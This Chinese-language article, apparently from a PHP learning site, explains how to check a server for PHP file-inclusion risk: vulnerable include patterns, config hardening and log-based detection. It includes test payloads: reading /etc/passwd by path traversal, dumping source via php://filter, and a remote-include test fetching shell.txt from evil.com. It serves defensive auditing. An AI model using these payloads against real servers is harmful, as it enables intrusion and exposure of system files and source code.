存在PHP文件包含风险的核心是用户可控的include/require参数未校验,需扫描动态包含语句、测试路径穿越与协议加载、审查PHP配置(如allow_url_include=Off)、结合自动化工具与日志分析确认。

检测服务器是否存在PHP文件包含风险,核心是查清代码中是否允许用户控制include、require等函数的参数,且未做安全校验。
检查动态文件包含语句
重点扫描所有PHP文件中是否出现类似以下写法:
-
include($_GET['page']);或require($_POST['file']); -
include($user_input . '.php');(拼接后缀但未过滤) include_once('templates/' . $_REQUEST['tpl'] . '.html');
这类代码一旦存在,就构成基础LFI风险。建议用grep -r "include\|require" /var/www/ --include="*.php"快速定位。
验证路径穿越与协议加载能力
发现可疑参数后,需实际测试是否可被利用:
- 传入
?page=../../../../etc/passwd,看是否返回系统文件内容 - 尝试
?page=php://filter/read=convert.base64-encode/resource=index.php,判断能否读源码 - 若
allow_url_include=On,再测?page=http://evil.com/shell.txt(RFI)
注意:部分响应可能无回显,需结合日志投毒、DNSLog或盲注方式进一步确认。
审查PHP配置与运行时限制
即使代码有风险,合理配置也能大幅降低危害:
- 检查
php.ini中allow_url_include是否为Off(禁用RFI) - 确认
open_basedir是否启用并限制在Web根目录内 - 查看
disable_functions是否禁用include相关函数(不推荐,仅辅助)
可通过访问phpinfo()页面或执行ini_get('allow_url_include')获取实时配置。
自动化扫描与日志辅助分析
人工审计易遗漏,建议组合使用工具提升效率:
- 用自研脚本递归扫描
include_once($_.*?);等正则模式 - 部署
PHP-Backdoor-Finder或rkhunter识别已植入的含包含逻辑的后门 - 分析Web访问日志,搜索含
..%2f、php://、data://等特征的请求
异常高频访问某个?file=参数,往往是扫描器或攻击者正在探测LFI入口。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











